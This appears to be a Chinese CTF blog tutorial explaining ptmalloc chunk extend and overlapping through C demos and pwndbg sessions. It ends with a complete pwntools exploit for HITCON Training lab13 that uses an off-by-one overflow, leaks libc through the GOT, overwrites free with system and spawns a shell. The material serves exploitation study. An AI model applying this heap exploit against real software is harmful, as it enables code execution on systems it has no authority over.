Chunk Extend and Overlapping

Overview

chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk overlapping 的效果。这种利用方法需要以下的时机和条件:

  • 程序中存在基于堆的漏洞
  • 漏洞可以控制 chunk header 中的数据

ptmalloc对堆进行操作时使用的宏

chunk extend 技术能够产生的原因在于 ptmalloc 在对堆 chunk 进行操作时使用的各种宏;

在 ptmalloc 中,获取 chunk 块大小的操作如下:

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask(p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)->mchunk_size)

即使用当前块指针加上当前块大小。

在 ptmalloc 中,获取前一个 chunk 信息的操作如下:

/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk.  Only valid if prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr)(((char *) (p)) - prev_size(p)))

即通过 malloc_chunk->prev_size 获取前一块大小,然后使用本 chunk 地址减去所得大小。

在 ptmalloc,判断当前 chunk 是否是 use 状态的操作如下:

#define inuse(p)
    ((((mchunkptr)(((char *) (p)) + chunksize(p)))->mchunk_size) & PREV_INUSE)

即查看下一 chunk 的 prev_inuse 域,而下一块地址又如我们前面所述是根据当前 chunk 的 size 计算得出的。

具体为什么是这样以及更多操作详见 CTF Wiki - 堆相关数据结构

通过上面几个宏可以看出,ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨越块操作从而导致 overlapping 的。

Example

基本示例 1:对 inuse 的 fastbin 进行 extend

  • 利用的效果是通过更改第一个块的大小来控制第二个块的内容。
  • 示例都是在 64 位的程序。如果想在 32 位下进行测试,可以把 8 字节偏移改为 4 字节
int main(void)
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第一个0x10的chunk
    malloc(0x10);//分配第二个0x10的chunk

    *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域

    free(ptr);
    ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
    return 0;
}

我们进pwndbg中调试一下,观察“当两个 malloc 语句执行之后,堆的内存分布”、“代码中把 chunk1 的 size 域更改为 0x41”、“执行 free 之后,chunk2 与 chunk1 合成一个 0x40 大小的 chunk”和“通过 malloc(0x30) 得到 chunk1+chunk2 的块”;

我分别在 main+22 (第一个malloc返回处)、main+36(第二个malloc返回处)、main+51(把 chunk1 的 size 域更改为 0x41后返回处)、main+58(free前)、main+63(free后)和 main+73(通过 malloc(0x30) 得到 chunk1+chunk2 的块前)下断点。

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401156 <+0>:     endbr64
   0x000000000040115a <+4>:     push   rbp
   0x000000000040115b <+5>:     mov    rbp,rsp
   0x000000000040115e <+8>:     sub    rsp,0x10
   0x0000000000401162 <+12>:    mov    edi,0x10
   0x0000000000401167 <+17>:    call   0x401060 <malloc@plt>
   0x000000000040116c <+22>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401170 <+26>:    mov    edi,0x10
   0x0000000000401175 <+31>:    call   0x401060 <malloc@plt>
   0x000000000040117a <+36>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040117e <+40>:    sub    rax,0x8
   0x0000000000401182 <+44>:    mov    QWORD PTR [rax],0x41
   0x0000000000401189 <+51>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040118d <+55>:    mov    rdi,rax
   0x0000000000401190 <+58>:    call   0x401050 <free@plt>
   0x0000000000401195 <+63>:    mov    edi,0x30
   0x000000000040119a <+68>:    call   0x401060 <malloc@plt>
   0x000000000040119f <+73>:    mov    QWORD PTR [rbp-0x10],rax
   0x00000000004011a3 <+77>:    mov    eax,0x0
   0x00000000004011a8 <+82>:    leave
   0x00000000004011a9 <+83>:    ret
End of assembler dump.
pwndbg> b *main+22
Breakpoint 1 at 0x40116c: file main.c, line 7.
pwndbg> b *main+36
Breakpoint 2 at 0x40117a: file main.c, line 10.
pwndbg> b *main+51
Breakpoint 3 at 0x401189: file main.c, line 12.
pwndbg> b *main+58
Breakpoint 4 at 0x401190: file main.c, line 12.
pwndbg> b *main+63
Breakpoint 5 at 0x401195: file main.c, line 13.
pwndbg> b *main+73
Breakpoint 6 at 0x40119f: file main.c, line 13.
pwndbg>

其实我这里的多下了一个断点,所以我这里c了一次

pwndbg> c
Continuing.

Breakpoint 2, main () at main.c:10
10          *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX  0x4042c0 ◂— 0
 RBX  0
 RCX  0x21
 RDX  0
 RDI  0
*RSI  0x4042d0 ◂— 0
 R8   0x21001
*R9   0x4042c0 ◂— 0
 R10  0xfffffffffffff000
 R11  0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0
 R12  0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
 R13  0x401156 (main) ◂— endbr64
 R14  0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdbe0 ◂— 1
 RSP  0x7fffffffdbd0 {ptr1} ◂— 0x1000
*RIP  0x40117a (main+36) ◂— mov rax, qword ptr [rbp - 8]
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
b+ 0x40116c <main+22>    mov    qword ptr [rbp - 8], rax     [{ptr}] <= 0x4042a0 ◂— 0
   0x401170 <main+26>    mov    edi, 0x10                    EDI => 0x10
   0x401175 <main+31>    call   malloc@plt                  <malloc@plt>

 ► 0x40117a <main+36>    mov    rax, qword ptr [rbp - 8]     RAX, [{ptr}] => 0x4042a0 ◂— 0
   0x40117e <main+40>    sub    rax, 8                       RAX => 0x404298 (0x4042a0 - 0x8)
   0x401182 <main+44>    mov    qword ptr [rax], 0x41        [0x404298] <= 0x41
b+ 0x401189 <main+51>    mov    rax, qword ptr [rbp - 8]     RAX, [{ptr}] => 0x4042a0 ◂— 0
   0x40118d <main+55>    mov    rdi, rax                     RDI => 0x4042a0 ◂— 0
b+ 0x401190 <main+58>    call   free@plt                    <free@plt>

b+ 0x401195 <main+63>    mov    edi, 0x30                    EDI => 0x30
   0x40119a <main+68>    call   malloc@plt                  <malloc@plt>
────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:10
    5     void *ptr,*ptr1;
    6
    7     ptr=malloc(0x10);//分配第一个0x10的chunk
    8     malloc(0x10);//分配第二个0x10的chunk
    910     *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
   11
   12     free(ptr);
   13     ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
   14     return 0;
   15 }
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000
01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0
02:0010│ rbp 0x7fffffffdbe0 ◂— 1
03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│+010 0x7fffffffdbf0 ◂— 0
05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64
06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0
07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x40117a main+36
   1   0x7ffff7c29d90 __libc_start_call_main+128
   2   0x7ffff7c29e40 __libc_start_main+128
   3         0x401095 _start+37
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx 0x4042a0
0x4042a0:       0x0000000000000000      0x0000000000000000
0x4042b0:       0x0000000000000000      0x0000000000000021
0x4042c0:       0x0000000000000000      0x0000000000000000
0x4042d0:       0x0000000000000000      0x0000000000020d31
0x4042e0:       0x0000000000000000      0x0000000000000000
pwndbg>

当两个 malloc 语句执行之后,堆的内存分布如上;

之后,我们把 chunk1 的 size 域更改为 0x41,0x41 是因为 chunk 的 size 域包含了用户控制的大小和 header 的大小。如上所示正好大小为 0x40。在题目中这一步可以由堆溢出得到。

pwndbg> n

Breakpoint 4, 0x0000000000401190 in main () at main.c:12
12          free(ptr);
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────
*RAX  0x4042a0 ◂— 0
 RBX  0
 RCX  0x21
 RDX  0
*RDI  0x4042a0 ◂— 0
 RSI  0x4042d0 ◂— 0
 R8   0x21001
 R9   0x4042c0 ◂— 0
 R10  0xfffffffffffff000
 R11  0x7ffff7e1ace0 (main_arena+96) —▸ 0x4042d0 ◂— 0
 R12  0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
 R13  0x401156 (main) ◂— endbr64
 R14  0x4030e8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401120 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdbe0 ◂— 1
 RSP  0x7fffffffdbd0 {ptr1} ◂— 0x1000
*RIP  0x401190 (main+58) ◂— call free@plt
──────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────
b+ 0x40117a <main+36>    mov    rax, qword ptr [rbp - 8]     RAX, [{ptr}] => 0x4042a0 ◂— 0
   0x40117e <main+40>    sub    rax, 8                       RAX => 0x404298 (0x4042a0 - 0x8)
   0x401182 <main+44>    mov    qword ptr [rax], 0x41        [0x404298] <= 0x41
b+ 0x401189 <main+51>    mov    rax, qword ptr [rbp - 8]     RAX, [{ptr}] => 0x4042a0 ◂— 0
   0x40118d <main+55>    mov    rdi, rax                     RDI => 0x4042a0 ◂— 0
 ► 0x401190 <main+58>    call   free@plt                    <free@plt>
        ptr: 0x4042a0 ◂— 0

b+ 0x401195 <main+63>    mov    edi, 0x30                    EDI => 0x30
   0x40119a <main+68>    call   malloc@plt                  <malloc@plt>

b+ 0x40119f <main+73>    mov    qword ptr [rbp - 0x10], rax
   0x4011a3 <main+77>    mov    eax, 0                          EAX => 0
   0x4011a8 <main+82>    leave
────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的fastbin进行extend/main.c:12
    7     ptr=malloc(0x10);//分配第一个0x10的chunk
    8     malloc(0x10);//分配第二个0x10的chunk
    9
   10     *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
   1112     free(ptr);
   13     ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
   14     return 0;
   15 }
────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbd0 {ptr1} ◂— 0x1000
01:0008│-008 0x7fffffffdbd8 {ptr} —▸ 0x4042a0 ◂— 0
02:0010│ rbp 0x7fffffffdbe0 ◂— 1
03:0018│+008 0x7fffffffdbe8 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
04:0020│+010 0x7fffffffdbf0 ◂— 0
05:0028│+018 0x7fffffffdbf8 —▸ 0x401156 (main) ◂— endbr64
06:0030│+020 0x7fffffffdc00 ◂— 0x1ffffdce0
07:0038│+028 0x7fffffffdc08 —▸ 0x7fffffffdcf8 —▸ 0x7fffffffdfb5 ◂— 0x657a2f656d6f682f ('/home/ze')
──────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────
 ► 0         0x401190 main+58
   1   0x7ffff7c29d90 __libc_start_call_main+128
   2   0x7ffff7c29e40 __libc_start_main+128
   3         0x401095 _start+37
pwndbg> x/4gx 0x404290
0x404290:       0x0000000000000000      0x0000000000000041
0x4042a0:       0x0000000000000000      0x0000000000000000

这里小回顾一下chunk的结构,就可以解释为什么是看 0x404290 这个地址了(这个地址是chunk的prev_size,而我们修改的就是size域),下面是一张参考图:

当前chunk结构

执行 free 之后,我们可以看到 chunk2 与 chunk1 合成一个 0x40 大小的 chunk,一起释放了:

pwndbg> bins
tcachebins
0x40 [  1]: 0x4042a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

之后我们通过 malloc(0x30) 得到 chunk1+chunk2 的块,此时就可以直接控制 chunk2 中的内容,我们也把这种状态称为 overlapping chunk。

基本示例 2:对 inuse 的 smallbin 进行 extend

通过之前深入理解堆的实现部分的内容,我们得知处于 fastbin 范围的 chunk 释放后会被置入 fastbin 链表中,而不处于这个范围的 chunk 被释放后会被置于 unsorted bin 链表中。 以下这个示例中,我们使用 0x80 这个大小来分配堆(作为对比,fastbin 默认的最大的 chunk 可使用范围是 0x70)

// gcc -g test2.c -o test2
#include <stdio.h>

int main() {
    void *test, *test1;
    test = malloc(0x80); // 分配第一个 0x80 的chunk1
    malloc(0x10); // 分配第二个 0x10 的chunk2s
    malloc(0x10); // 防止与top chunk合并
    *(long*)((long)test-0x8) = 0xb1;
    free(test);
    test1 = malloc(0xa0);
}

在这个例子中,因为分配的 size 不处于 fastbin 的范围,因此在释放时如果与 top chunk 相连会导致和 top chunk 合并。所以我们需要额外分配一个 chunk,把释放的块与 top chunk 隔开。

我们进gdb中观察一下:

pwndbg> b 9
Breakpoint 1 at 0x11a6: file main.c, line 9.
pwndbg> r
·········
────────────────────────────────────────────────────────────────────────────────────────
In file: /home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/对inuse的smallbin进行extend/main.c:9
    4 int main() {
    5     void *test, *test1;
    6     test = malloc(0x80); // 分配第一个 0x80 的chunk1
    7     malloc(0x10); // 分配第二个 0x10 的chunk2s
    8     malloc(0x10); // 防止与top chunk合并
 ►  9     *(long*)((long)test-0x8) = 0xb1;
   10     free(test);
   11     test1 = malloc(0xa0);
   12 }
·········
────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i r rax
rax            0x555555559298      93824992252568
pwndbg> x/30gx 0x555555559298
0x555555559298: 0x00000000000000b1      0x0000000000000000
0x5555555592a8: 0x0000000000000000      0x0000000000000000
0x5555555592b8: 0x0000000000000000      0x0000000000000000
0x5555555592c8: 0x0000000000000000      0x0000000000000000
0x5555555592d8: 0x0000000000000000      0x0000000000000000
0x5555555592e8: 0x0000000000000000      0x0000000000000000
0x5555555592f8: 0x0000000000000000      0x0000000000000000
0x555555559308: 0x0000000000000000      0x0000000000000000
0x555555559318: 0x0000000000000000      0x0000000000000000
0x555555559328: 0x0000000000000021      0x0000000000000000
0x555555559338: 0x0000000000000000      0x0000000000000000
0x555555559348: 0x0000000000000021      0x0000000000000000
0x555555559358: 0x0000000000000000      0x0000000000000000
0x555555559368: 0x0000000000020ca1      0x0000000000000000
0x555555559378: 0x0000000000000000      0x0000000000000000

其中,chunk1如下:

0x555555559298: 0x00000000000000b1      0x0000000000000000
0x5555555592a8: 0x0000000000000000      0x0000000000000000
0x5555555592b8: 0x0000000000000000      0x0000000000000000
0x5555555592c8: 0x0000000000000000      0x0000000000000000
0x5555555592d8: 0x0000000000000000      0x0000000000000000
0x5555555592e8: 0x0000000000000000      0x0000000000000000
0x5555555592f8: 0x0000000000000000      0x0000000000000000
0x555555559308: 0x0000000000000000      0x0000000000000000
0x555555559318: 0x0000000000000000      0x0000000000000000

chunk2:

0x555555559328: 0x0000000000000021      0x0000000000000000
0x555555559338: 0x0000000000000000      0x0000000000000000

用于隔离 top_chunk 的chunk(那它下面那个就是top chunk啦!):

0x555555559328: 0x0000000000000021      0x0000000000000000
0x555555559338: 0x0000000000000000      0x0000000000000000

接下来在第10行处下断点,执行*(int *)((int)test-0x8) = 0xb1;这段代码:

pwndbg> x/30gx 0x555555559298
0x555555559298: 0x00000000000000b1      0x0000000555555559
0x5555555592a8: 0xe1643fe79a375a5e      0x0000000000000000
0x5555555592b8: 0x0000000000000000      0x0000000000000000
0x5555555592c8: 0x0000000000000000      0x0000000000000000
0x5555555592d8: 0x0000000000000000      0x0000000000000000
0x5555555592e8: 0x0000000000000000      0x0000000000000000
0x5555555592f8: 0x0000000000000000      0x0000000000000000
0x555555559308: 0x0000000000000000      0x0000000000000000
0x555555559318: 0x0000000000000000      0x0000000000000000
0x555555559328: 0x0000000000000021      0x0000000000000000
0x555555559338: 0x0000000000000000      0x0000000000000000
0x555555559348: 0x0000000000000021      0x0000000000000000
0x555555559358: 0x0000000000000000      0x0000000000000000
0x555555559368: 0x0000000000020ca1      0x0000000000000000
0x555555559378: 0x0000000000000000      0x0000000000000000
pwndbg> bin
Ambiguous command "bin": binder, bins.
pwndbg> bins
tcachebins
0xb0 [  1]: 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>
tcachebins
0xb0 [  1]: 0x5555555592a0 ◂— 0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
pwndbg>

没有得到预期的结果,根据 tcachebins 猜测是因为使用了新版本的glibc导致,但我们仍然可以根据参考文章中学习其思路;

执行后chunk结构

和前面的例子一样,*(int *)((int)test-0x8) = 0xb1;这段代码也是将chunk1的size部分进行了更改,将原有的0x90扩展到了0xb0。这就导致了chunk2被chunk1所包含。接下来我们在第11行下断点释放chunk1:

chunk1释放后chunk结构和bins

这里解释一下为什么进的是unsortbin,有两种情况下进unsortbin:

  • 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
  • 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

那么这个例子就满足第二种情况,不属于fastbin中的空闲块,并且不和top chunk相邻。其实这个例子和第一个例子差不多,因为chunk1和chunk2合并之后的chunk的大小超过了fast bin的最大接收值,所以不进fast bin,并且chunk3的size标志位变成了0,证明前一个块chunk2是一个释放的状态。接下来的过程也是一样的,再次申请一个0xa0大小的chunk时,会从unsort bin中提取。连带着chunk2中的内容也会被提取出来,这样一来再次对chunk1进行操作,从而达到操作chunk2的目的。

基本示例 3:对 free 的 smallbin 进行 extend

//gcc -g test3 -o test3
#include<stdio.h>
int main()
{
    void *test, *test1;
    test = malloc(0x80);//分配第一个0x80的chunk1
    malloc(0x10);//分配第二个0x10的chunk2
    free(test);//首先进行释放,使得chunk1进入unsorted bin
    *(long *)((long)test - 0x8) = 0xb1;
    test1 = malloc(0xa0);
}

第三个例子和前面两个有一些区别,前面两个都是先修改chunk1的size大小然后进行释放,但是这个例子是先进行释放,然后重新修改chunk1的size大小,依然还是一步一步来,首先在第8行下断点,使程序完成申请chunk的操作:

程序完成申请chunk操作后chunk结构

接下来我们在第9行下断点,使程序完成对chunk1的释放:

程序完成释放chunk1操作后chunk结构

没有什么意外,释放之后的chunk1依然进入了unsort bin中。接下来 我们将断点下载第10行,需要注意的是此时更改size大小的操作是在free之后完成的:

经过free后更改size操作的chunk结构

此时再进行 malloc 分配就可以得到 chunk1+chunk2 的堆块,从而控制了 chunk2 的内容。

在修改完size之后重新申请0xa0的时候会从unsort bin中申请,这个时候大家需要总结一下,其实各个bin中存放的只有chunk的首地址,真正判断多大还得是去看这个chunk的size大小,所以再次申请的时候依然还可以对chunk2进行控制

基本示例 4:通过 extend 后向 overlapping

这里展示通过 extend 进行后向 overlapping,这也是在 CTF 中最常出现的情况,通过 overlapping 可以实现其它的一些利用。

#include <stdio.h>
int main()
{
    void *ptr,*ptr1;

    ptr=malloc(0x10);//分配第1个 0x80 的chunk1
    malloc(0x10); //分配第2个 0x10 的chunk2
    malloc(0x10); //分配第3个 0x10 的chunk3
    malloc(0x10); //分配第4个 0x10 的chunk4    
    *(int *)((int)ptr-0x8)=0x61;
    free(ptr);
    ptr1=malloc(0x50);
}

初始化分配 4 个堆之后:

将第一个 chunk size 修改为 0x61 ,然后 free 第一个堆块,红框内的都会被当做一个整体放入到 fastbin 当中:

那么当再次分配大小为 0x50 (不含chunk header)时,就会调用这块内存了:

在 malloc(0x50) 对 extend 区域重新占位后,其中 0x10 的 fastbin 块依然可以正常的分配和释放,此时已经构成 overlapping,通过对 overlapping 的进行操作可以实现 fastbin attack。

基本示例 5:通过 extend 前向 overlapping

#include <stdio.h>
int main(void)
{
    void *ptr1,*ptr2,*ptr3,*ptr4;
    ptr1=malloc(128);//smallbin1
    ptr2=malloc(0x10);//fastbin1
    ptr3=malloc(0x10);//fastbin2
    ptr4=malloc(128);//smallbin2
    malloc(0x10);//防止与top合并
    free(ptr1);
    *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域,prev_inuse
    *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域,prev_size
    free(ptr4);//unlink进行前向extend
    malloc(0x150);//占位块

}

这里例子调试一直出不来堆信息,就文字描述一下:

先布置好 5 个堆块,然后释放 ptr1 进入到 unsortedbin 。修改 ptr4 的 prev_inuse 为 0 标记前一个堆块释放(空闲);修改 ptr4 的 prev_size 为 ptr1+ptr2+ptr3 。释放 ptr4 会触发回收机制,也就是合并物理相邻的堆,用到的操作是 unlink ,就将 ptr1~4 当做一个堆块放入 unsortedbin。

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

例题

HITCON Training lab13

题目链接

基本信息

# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13 [15:58:02]
$ checksec heapcreator
[*] '/home/zer0ptr/Pwn-Research/Heap-overflow-basic/Chunk_extend_overlapping/HITCON_Training_lab13/heapcreator'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

程序为 64 位动态链接程序,主要开启了 Canary 保护与 NX 保护。

基本功能

程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下

  1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
  2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞
  3. 展示堆,输出指定索引堆的大小以及内容。
  4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。

利用

基本利用思路如下

  1. 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
  2. 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def create(size, content):
    p.recvuntil(b"choice :")
    p.sendline(b"1")
    p.recvuntil(b"Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"heap:")
    p.send(content)
def edit(idx, content):
    p.recvuntil(b"choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())
    p.recvuntil(b"heap :")
    p.send(content)
def show(idx):
    p.recvuntil(b"choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())
def free(idx):
    p.recvuntil(b"choice :")
    p.sendline(b"4")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())
def exit():
    p.recvuntil(b"choice :")
    p.sendline(b"5")

# off-by-one
create(0x18, b'a'*0x10)  # 0
create(0x10, b'b'*0x10)  # 1

edit(0, b"/bin/sh\x00".ljust(0x18, b'a') + b"\x41")
free(1)

# leak libc
free_got = elf.got['free']
create(0x30, b'a'*0x18 + p64(0x21) + p64(0x30) + p64(free_got))
show(1)
p.recvuntil(b"Content : ")

free_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.info("free_addr:" + hex(free_addr))
libc_base = free_addr - libc.symbols['free']
log.info("libc_base:" + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info("system:" + hex(system))

edit(1, p64(system))
# gdb.attach(p)
free(0)

p.interactive()

References


Chunk Extend and Overlapping
https://zer0ptr.github.io/2026/02/09/chunk-extend-overlapping/
Author
zer0ptr
Posted on
February 9, 2026
Licensed under